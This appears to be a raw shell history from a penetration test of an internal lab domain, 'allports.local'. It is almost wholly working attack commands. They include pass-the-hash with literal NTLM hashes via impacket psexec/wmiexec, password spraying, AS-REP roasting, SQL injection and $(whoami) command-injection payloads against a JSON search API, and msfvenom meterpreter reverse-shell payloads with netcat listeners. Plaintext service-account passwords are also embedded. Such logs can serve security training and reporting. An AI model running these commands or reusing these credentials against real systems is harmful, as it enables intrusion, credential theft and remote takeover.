smbmap -H 10.0.1.20 -u guest -p ''         # list shares + perms\
smbclient -L //10.0.1.20 -U guest%          # list shares interactively
rpcclient -U "" 10.0.1.20\
# inside: enumdomusers, querydispinfo, lsaquery\
enum4linux -a 10.0.1.20\
crackmapexec smb 10.0.1.20 -u '' -p '' --shares
evil-winrm -i 10.0.1.20 -u 'allports.local\\guest'\
evil-winrm -i 10.0.1.20 -u cloudbase-init -p 'RFC3uZ4oxx4xcFllQ7LR'\
evil-winrm -i 10.0.1.20 -u SVC_STABILIZE -p '1gyroscope'
python3 /usr/share/impacket/examples/psexec.py -hashes :73f751f1978e33a39575dc70f2a3483a allports.local/Admin@10.0.1.6\
cd impacket
ls
cd examples
ls
python3 psexec.py -hashes :73f751f1978e33a39575dc70f2a3483a allports.local/Admin@10.0.1.6\
cd //
cd ..
cd ~
cd impacket
pip install requirements.txt
sudo apt install -y python3-pip
sudo git clone https://github.com/SecureAuthCorp/impacket.git /opt/impacket
/opt/impacket
sudo apt install python3-impacket
cd /opt/impacket
sudo python3 ./setup.py install
impacket-psexec -hashes :73f751f1978e33a39575dc70f2a3483a allports.local/Admin@10.0.1.6\
impacket-psexec -debug -hashes :73f751f1978e33a39575dc70f2a3483a Admin@10.0.1.6\
impacket-psexec -debug -hashes :73f751f1978e33a39575dc70f2a3483a allports.local/Admin@10.0.1.6\
impacket-psexec -debug -hashes :73f751f1978e33a39575dc70f2a3483a allports.local/Admin@10.0.1.21\
impacket-psexec -hashes :73f751f1978e33a39575dc70f2a3483a Admin@10.0.1.6\
impacket-psexec -hashes 73f751f1978e33a39575dc70f2a3483a allports.local/Admin@10.0.1.6\
impacket-psexec -hashes :73f751f1978e33a39575dc70f2a3483a allports.local/Admin@10.0.1.6\
crackmapexec smb 10.0.1.6 -u Admin -H 73f751f1978e33a39575dc70f2a3483a\
impacket-psexec -hashes :45b6cc3e85d5cd4526059b220b8cc480 'DECKHAND-01$@10.0.1.6'\
impacket-psexec -hashes :45b6cc3e85d5cd4526059b220b8cc480 'DECKHAND-02$@10.0.1.21'\
# try cloudbase-init and SVC_STABILIZE against DC\
evil-winrm -i 10.0.1.6 -u cloudbase-init -p 'RFC3uZ4oxx4xcFllQ7LR'\
evil-winrm -i 10.0.1.6 -u SVC_STABILIZE -p '1gyroscope'\
# target the DC explicitly and add debug if needed\
impacket-psexec -hashes :45b6cc3e85d5cd4526059b220b8cc480 -target-ip 10.0.1.6 DECKHAND-01$@10.0.1.6\
impacket-wmiexec -hashes :45b6cc3e85d5cd4526059b220b8cc480 DECKHAND-01$@10.0.1.6\
impacket-smbexec -hashes :45b6cc3e85d5cd4526059b220b8cc480 DECKHAND-01$@10.0.1.6
clear
smbmap -H 10.0.1.20 -u Guest -p '' \
smbclient -L //10.0.1.20 -U Guest% \


_raw:
ping 172.18.0.6
curl -i http://10.0.1.99/whoami
nmap -sV -p135,139,445,3389,5985,5986 --script=smb-os-discovery,rdp-enum-encryption,winrm-info,smb-security-mode 10.0.1.21
nmap --script rdp-enum-encryption -p3389 10.0.1.21\
xfreerdp /v:10.0.1.21 /u:USER /p:PASS
sudo apt install xfreerdp3
sudo apt install xfreerdp
curl -v http://10.0.1.21:5985/wsman\
# or\
curl -v --anyauth -u 'user:pass' http://10.0.1.21:5985/wsman\
nc -vp 10.0.1.10 6768
nc -vp\ 10.0.1.10 6768
nc -v 10.0.1.10 6768


_raw: : 1761400104:0;ffuf -w /usr/share/wordlists/dirb/common.txt -u http://10.0.1.15:8080/FUZZ -t 46


_raw: : 1761400083:0;crackmapexec ldap 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt


_raw: : 1761400064:0;crackmapexec ldap 10.0.1.99 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt


_raw: : 1761400045:0;crackmapexec mssql 10.0.1.99 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt


_raw: : 1761400021:0;crackmapexec mysql 10.0.1.99 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt


_raw: : 1761399761:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt


_raw: : 1761399116:0;sudo apt update && sudo apt install -y hashid\


_raw: : 1761398261:0;msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.254.205 PHOST=4444 -elf -o game


_raw: : 1761398252:0;msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.254.205 PHOST=9001 -elf -o game


_raw: : 1761398245:0;msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.254.205 PHOST=9001 -elf -o game


_raw: : 1761398226:0;msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.254.205 PHOST=9001 -elf -o game


_raw: : 1761397748:0;cp nmap.res.nmap /home/pentester/Desktop


_raw: : 1761397710:0;cp nmap.res.xml /home/pentester/Desktop


_raw:
cd ..
nano hash_bcrypt.txt
hashcat -m 28400 hash_bcrypt.txt /usr/share/wordlists/rockyou.txt
clear


_raw: : 1761397567:0;bloodhound-python -d DOMAIN -u user -p password -ns 10.0.1.6 -c all


_raw: : 1761397451:0;msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.254.205 PHOST=9001 -elf -o game


_raw: : 1761397405:0;xfreerdp3 /v:10.0.1.6 /u:username /p:password +clipboard


_raw: : 1761397398:0;xfreerdp /v:10.0.1.6 /u:username /p:password +clipboard


_raw: : 1761397333:0;ping  chat.allports.tours


_raw: : 1761397327:0;evil-winrm -i 10.0.1.6 -u username -p password


_raw:
: 1761397325:0;curl -s -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d '{"table":"full_voyage_schedule","select":["id","1+1"],"limit":1}'\


_raw:
: 1761397298:0;curl -s -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d '{"table":"full_voyage_schedule","select":["id","$(whoami)"],"limit":1}'\


_raw: : 1761397284:0;crackmapexec smb 10.0.1.6 -u valid_users.txt -p /usr/share/wordlists/rockyou.txt --no-bruteforce\


_raw: : 1761397272:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile valid_users.txt -no-pass | tee asrep.txt\


_raw: : 1761397265:0;echo -e "guest\nadmin\nadministrator" > valid_users.txt\


_raw:
: 1761397262:0;curl -v https://10.0.1.99:443/\
curl -v https://10.0.1.99:443/\
echo -e "guest\nadmin\nadministrator" > valid_users.txt\


_raw: : 1761397218:0;dig -t SRV _ldap._tcp.dc._msdcs.allports.local\


_raw: : 1761397212:0;ldapsearch -x -H ldap://ForestDnsZones.allports.local -b "DC=ForestDnsZones,DC=allports,DC=local" "(objectClass=*)" sAMAccountName\


_raw: : 1761397193:0;crackmapexec ssh 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt


_raw:
: 1761397186:0;curl -s -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d '{"table":"users","select":["1+1"],"limit":1}'\


_raw: : 1761397172:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile valid_users.txt -no-pass\


_raw: : 1761397158:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/seclists/Usernames/top-usernames-shortlist.txt\


_raw:
: 1761397153:0;wget https://github.com/ropnop/kerbrute/releases/download/v1.0.3/kerbrute_linux_amd64\
chmod +x kerbrute_linux_amd64\
mv kerbrute_linux_amd64 /usr/local/bin/kerbrute\


_raw: : 1761397145:0;sudo apt install kerbrute\


_raw: : 1761397106:0;crackmapexec winrm 10.0.1.20 -u users.txt -p 'Password123!'\


_raw: : 1761397086:0;impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -no-pass\


_raw: : 1761397086:0;crackmapexec smb 10.0.1.6 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt


_raw: : 1761397064:0;crackmapexec smb 10.0.1.99 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt


_raw: : 1761397054:0;impacket-GetNPUsers DOMAIN/ -usersfile usr/share/wordlists/users.txt -dc-ip 10.0.1.6 -no-pass -format hashcat


_raw: : 1761397050:0;kerbrute userenum --dc 10.0.1.6 -d allports.local /usr/share/wordlists/SecLists/Usernames/xato-net-10-million-usernames.txt\


_raw: : 1761397050:0;mv login.html index.html /home/pentester


_raw: : 1761397032:0;impacket-GetNPUsers DOMAIN/ -usersfile users.txt -dc-ip 10.0.1.6 -no-pass -format hashcat


_raw: : 1761396977:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" "(objectClass=user)" sAMAccountName\


_raw: : 1761396969:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local"\


_raw: : 1761396962:0;ldapsearch -x -H ldap://10.0.1.6 -s base namingcontexts\


_raw: : 1761396944:0;ldapsearch -x -h 10.0.1.6 -s sub "(objectclass=user)" name


_raw: : 1761396884:0;ldapsearch -x -h 10.0.1.6 -s sub "(objectclass=user)" sAMAccountName > users_ldap.txt


_raw: : 1761396857:0;ldapsearch -x -h 10.0.1.6 -s sub "(objectclass=user)" sAMAccountName member0f


_raw: : 1761396825:0;ldapsearch -x -h 10.0.1.6 -s sub "(objectclass=user)" sAMAccountName memberOf


_raw:
: 1761396812:0;mkdir -p /tmp/penny_assets && cd /tmp/penny_assets\
wget -q -r -l1 -nd -A .js,.json http://10.0.1.11/assets/\
grep -Ri --exclude="*.map" -E "MEILI|MEILI_MASTER|MEILISEARCH|MASTER_KEY|DATABASE_URL|DB_|MYSQL|JWT_SECRET|JWT|Bearer|API_KEY|AUTH|PASSWORD|passwd|secret|Penny.allports.local|3080|meili|mongodb|mongo" .\


_raw: : 1761396655:0;ldapsearch -x -h 10.0.1.6 -s base namingcon.texts


_raw: : 1761396646:0;crackmapexec smb 10.0.1.99 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt --no-bruteforce


_raw: : 1761396641:0;ldapsearch -x -h 10.0.1.6 -s base namingcon texts


_raw: : 1761396612:0;crackmapexec smb 10.0.1.21 -u /usr/share/wordlists/seclists/Usernames/top-usernames-shortlist.txt -p /usr/share/wordlists/seclists/Passwords/Common-Credentials/top-passwords-shortlist.txt --no-bruteforce


_raw:
: 1761396546:0;cat <<'JSON' > sleep_test.json\
{"table":"full_voyage_schedule","select":["id"],"limit":1,"where":{"id":"APT-PP0351' OR (SELECT IF(1=1,SLEEP(5),0))-- "},"summarize":false}\
JSON\
\
time curl -s -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @sleep_test.json > /dev/null\


_raw:
: 1761396531:0;cat <<'JSON' > like_inj.json\
{"table":"full_voyage_schedule","select":["id","ship"],"limit":5,"like":{"ship":"%' OR '1'='1"},"summarize":false}\
JSON\
\
curl -i -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @like_inj.json\


_raw:
: 1761396516:0;cat <<'JSON' > where_normal.json\
{"table":"full_voyage_schedule","select":["id","ship"],"limit":5,"where":{"ship":"Pastry Princess"},"summarize":false}\
JSON\
\
curl -i -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d @where_normal.json\


_raw:
: 1761396509:0;curl -i -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d '{"table":"this_table_does_not_exist"}'\


_raw:
: 1761396485:0;echo '{"table":"full_voyage_schedule","select":["id","1+1 as two"],"limit":1,"summarize":false}' > t1.json\
curl -s -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @t1.json | jq .\


_raw:
sudo nmap -p 80,443,8080,445 10.0.1.0/24 -vv -oN share/nmap.out_80_443_8080_445.out
sudo nmap 10.0.1.0/24 -vv -oN share/nmap.out_80_443_8080_445.out -Pn
sudo nmap 10.0.1.0/24 -vv -oN share/nmap.all.top1000.out -Pn
qls
ls
cd share
;s
ls
cat nmap.all.top1000.out
mousepad nmap.all.top1000.out
LS
ls
sudo nmap 10.0.1.14  -vv -oN 10.0.1.14_map_allports.txt -p-  -Pn
nc -nv 10.0.1.14 5001
sudo nmap 10.0.1.14  -vv -oN 10.0.1.14_map_allports.txt -p80,443,5001 -sCVS  -Pn
sudo nano /etc/hosts
sudo apt install siclist\
sudo apt install siclist
sudo apt install seclist
sudo apt install SecLists
wfuzz -H "Host: FUZZ.allports.local" --hc 404,403 -H "User-Agent: PENTEST" -c -z file,"/home/kali/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt" https://allports.local
sudo wfuzz -H "Host: FUZZ.allports.local" --hc 404,403 -H "User-Agent: PENTEST" -c -z file,"/home/kali/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt" https://allports.local
sudo wfuzz -H "Host: FUZZ.allports.local" --hc 404,403 -c -z file,"/home/kali/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt" https://allports.local
sudo wfuzz -H "Host: FUZZ.allports.local" --hc 404,403 -c -z /home/kali/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt https://allports.local
sudo wfuzz -H "Host: FUZZ.allports.local" --hc 404,403 -c  /home/kali/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt https://allports.local
sudo wfuzz -H "Host: FUZZ.allports.local" --hc 404,403 -c  -z  file,/home/kali/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt https://allports.local
sudo wfuzz -H "Host: FUZZ.allports.local" --hc 404,403 -c  -z  file,/home/kali/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt https://allports.local -k
pwd
cd ..
pwd
gobuster vhost --useragent "PENTEST" --wordlist wnloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.clocal
gobuster vhost --useragent "PENTEST" --wordlist "$(pwd)/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt" --url https://allports.clocal
pwd
gobuster vhost --useragent "PENTEST" --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.clocal
gobuster vhost --useragent "PENTEST" --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
cat password.txt
gobuster vhost --useragent "PENTEST" --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
sudo nano /etc/hosts
gobuster vhost --useragent "PENTEST" --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
sudo nano /etc/hosts
gobuster vhost --useragent "PENTEST" --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
ping allports.lcoal
gobuster vhost --useragent "PENTEST" --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url http://allports.local
gobuster dns --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url http://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url http://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url http://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -u https://allports.local
sudo nano /etc/hosts
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt -u https://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url http://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-110000.txt --url https://allports.local -k
gobuster vhost --wordlist /home/pentester/Downloads/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt --url https://allports.local -k
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url https://allports.local -k
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.14:80
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.14:80 --exclude-length
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.14:80 --exclude-lenght
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.14:80 --exclude-lenght 169
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url http://10.0.1.14:80 --exclude-length 169
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt  --url https://10.0.1.14:443 --exclude-length 169 -k
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt https://10.0.1.14:5001/FUZZ
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt http://10.0.1.14:5001/FUZZ
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt http://10.0.1.14:5001/FUZZ -h
wfuzz
wfuzz --help
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt http://10.0.1.14:5001/FUZZ  -hs "Data received and processed successfully"
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt http://10.0.1.14:5001/FUZZ  --hs "Data received and processed successfully"
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt --hs "Data received and processed successfully" ttp://10.0.1.14:5001/FUZZ
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-directories.txt --hs "Data received and processed successfully" http://10.0.1.14:5001/FUZZ


_raw:
impacket-smbserver -h
impacket-smbserver ourshare . -username hamza -password hamza
ls
mkdir share
cd share
impacket-smbserver ourshare . -username hamza -password hamza


_raw:
nc -nv 10.0.1.11 5001
cat p
cat password.txt
ls
cd share
;s
ls
cd //
;s
ls
cd
ls
cat p
cat password.txt
ls
cd done
cd Downloads
;ls
ls
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt --url https://10.0.1.14:443 --exclude-length 169 -k
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt --url http://10.0.1.14:5001/ --exclude-length 169 -k
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt --url http://10.0.1.14:5001/ --exclude-length 144 -k
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt --url http://10.0.1.14:5001/ --exclude-length 144 -k --help
wfuzz -u --url http://10.0.1.14:5001/ --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt  -h
wfuzz -u --url http://10.0.1.14:5001/ --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt  --help
wfuzz -h
netexec smb 10.0.1.6 -u ../share/all_users.txt  -p 'Sails@way!'
netexec smb 10.0.1.6 -u ../share/all_users.txt  -p 'Sails@way!' --local-auth
netexec smb 10.0.1.6 -u ../share/all_users.txt  -p 'Sails@way!' --continue-on-success
netexec smb 10.0.1.20 -u ../share/all_users.txt  -p 'Sails@way!' --continue-on-success
netexec smb 10.0.1.21 -u ../share/all_users.txt  -p 'Sails@way!' --continue-on-success
netexec smb 10.0.1.21 -u ../share/all_users.txt  -p 'Sails@way!' --continue-on-success --local-auth
netexec smb 10.0.1.20 -u ../share/all_users.txt  -p 'Sails@way!' --continue-on-success --local-auth
wfuzz -w /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt --hs "Data received and processed successfully" http://10.0.1.14:5001/FUZZ


_raw:
ls
cat password.txt
curl -X POST http://10.0.1.14:5001/
curl -X POST http://10.0.1.14:5001/help


_raw:
sudo nmap -p- 10.0.1.14  -sCVS  -vv
curl http://10.0.1.14/evox/about
curl http://10.0.1.14/evox/about -f
curl http://10.0.1.14/evox/about -F
curl http://10.0.1.14/evox/about -h


_raw:
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt  --url https://allports.local -k
gobuster dir  --wordlist /home/pentester/Downloads/SecLists-master/Discovery/Web-Content/raft-large-files.txt  --url http://10.0.1.15:8080/ -k
mysql -h 10.0.1.15 -u boatgps -p anchor2024
mysql -h 10.0.1.15 -u boatgps -p
mysql -h 10.0.1.15 -u boatgps -p  -h
man mysql
mysql -h 10.0.1.15 -u boatgps -p  --skip-ssl
mysql -h 10.0.1.15 -u root -p  --skip-ssl
mysql --help-
mysql --help
mysql -h 10.0.1.15 -u root -p  --skip-ssl gps_tracker
mysql -h 10.0.1.15 -u boatgps -p  --skip-ssl gps_tracker
mysql -h 10.0.1.15 -u boatgps -p  --skip-ssl-verify-server-cert
nc -lnvp 4444
ifconfig
nc -nv 10.0.1.10 5001
nc -nv 10.0.1.10 5000
nc -nv 10.0.1.10 6768
ifconfig
nc -nv 10.0.1.10 6768
killallnc
killall nc
nc -nv 10.0.1.10 6768
sudo nmap -p- 10.0.1.11 -sCVS  -vv


_raw:
gobuster dir -u http://10.0.1.143/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-lenght 169
gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 169
gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 169 -x php,zip,txt
gobuster dir -u http://10.0.1.14/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt --exclude-length 169 -x php,zip,txt
snmpwalk
snmpwalk  -v 1 -public 10.0.1.14
snmpwalk  -v 1 -c public 10.0.1.14
snmpwalk  -v 1 -c public 10.0.1.10
snmpwalk  -v 1 -c public 10.0.1.254
snmpwalk  -v 1 -c public 10.0.1.9
for i in range{1..255} ; do snmpwalk -v -c public "10.0.1.$i" ; echo done
for i in range{1..255} ; do snmpwalk -v -c public "10.0.1.$i" ; done
for i in {1..255}; do snmpwalk -v 2c -c public "10.0.1.$i"; done\
for i in {1..255}; do snmpwalk -v 1 -c public "10.0.1.$i"; done\
nc -lnvp 4444
python -m http.server 80
nc -lnvp 4444
stty raw -echo
fg\
ls
reset
nc -lnvp 4444


_raw:
: 1761395998:0;curl -s -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d @sel_test.json | jq .\


_raw: : 1761395973:0;{"table":"full_voyage_schedule","select":["id","(select version() ) as ver"],"limit":1,"summarize":false}\


_raw: : 1761395966:0;curl -i -X POST ... -d '{"table":"this_table_does_not_exist"}' -H "Content-Type: application/json"\


_raw: : 1761395960:0;curl -s -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d '{"table":"this_table_does_not_exist"}' | jq .\


_raw:
: 1761395915:0;cat <<'JSON' > q_time_mysql.json\
{"table":"full_voyage_schedule","select":["id"],"limit":1,"like":{"ship":"test' OR SLEEP(5) OR '1'='1"},"summarize":false}\
JSON\
\
time curl -s -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @q_time_mysql.json > /dev/null\


_raw:
: 1761395895:0;cat <<'JSON' > q_bool.json\
{"table":"full_voyage_schedule","select":["id"],"limit":1,"like":{"ship":"%' OR '1'='1"},"summarize":false}\
JSON\
\
curl -s -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @q_bool.json | jq .\


_raw:
: 1761395879:0;cat <<'JSON' > q_err.json\
{"table":"full_voyage_schedule","select":["id"],"limit":1,"like":{"ship":"test'"},"summarize":false}\
JSON\
\
curl -i -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @q_err.json\


_raw:
: 1761395866:0;cat <<'JSON' > q_like.json\
{"table":"full_voyage_schedule","select":["id","ship"],"limit":5,"like":{"ship":"%"},"summarize":false}\
JSON\
\
curl -s -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @q_like.json | jq .\


_raw:
: 1761395853:0;cat <<'JSON' > q_real.json\
{"table":"full_voyage_schedule","select":["id","ship","embark_date"],"limit":1,"offset":0,"summarize":false}\
JSON\
\
curl -s -X POST http://10.0.1.11:8045/tabular_search -H "Content-Type: application/json" -d @q_real.json | jq .\


_raw:
: 1761395844:0;curl -s -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d '{"table":"this_table_does_not_exist"}' | jq .\


_raw:
: 1761395806:0;cat <<'JSON' > meta.json\
{\
  "table": "full_voyage_schedule",\
  "select": ["id"],\
  "limit": 0,\
  "offset": 0,\
  "summarize": false\
}\
JSON\
\
curl -s -X POST http://10.0.1.11:8045/tabular_search \\
  -H "Content-Type: application/json" \\
  -d @meta.json | jq .\


_raw: : 1761395796:0;msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.254.204 LPORT=4444 -f elf -o game


_raw: : 1761395730:0;jq '.components.schemas.DynamicQueryBody' openapi_8045.json\


_raw:
: 1761395624:0;curl -s http://10.0.1.11:8045/openapi.json \\
     | jq '.paths."/tabular_search".post.requestBody.content."application/json".schema'\


_raw:
: 1761395613:0;curl -s http://10.0.1.11:8045/openapi.json \\
     | jq '.components.securitySchemes'\


_raw: : 1761395583:0;jq 'keys' < openapi.json | grep -i auth\


_raw:
: 1761395494:0;curl -i -H "Host: Penny.allports.local" http://10.0.1.11/api/config\
curl -i -H "Host: Penny.allports.local" http://10.0.1.11/.env\
curl -i -H "Host: Penny.allports.local" http://10.0.1.11/   # front page via that host\


_raw:
netexec ldap APT-DC-01.allports.local -u 'DECKHAND-01$' -H '5b6cc3e85d5cd4526059b220b8cc480' --computers
netexec ldap APT-DC-01.allports.local -u 'DECKHAND-01$' -H '45b6cc3e85d5cd4526059b220b8cc480' --computers
netexec ldap APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope\
' --computers
netexec ldap APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' --computers -k
netexec smb APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' --computers -k
netexec smb APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope' -k
hydra -h
netexec smb APT-DC-01.allports.local -u 'SVC_STABILIZE' -p '1gyroscope'
netexec smb 10.1.0.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -x dir
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -x dir pstrans
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -x dir ./pstrans
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -x 'dir ./pstrans'
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -x 'dir c:\pstrans'
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -X 'ls -R c:\pstrans'
LS
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -X 'ls /users'
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -X 'ls -R /users'
netexec smb 10.0.1.21 -u 'SVC_STABILIZE' -p '1gyroscope' -k -X 'ls -R /users'
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -X 'ls -R /users'
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -X 'ls
netexec smb 10.0.1.20 -u 'SVC_STABILIZE' -p '1gyroscope' -k -X 'ls'
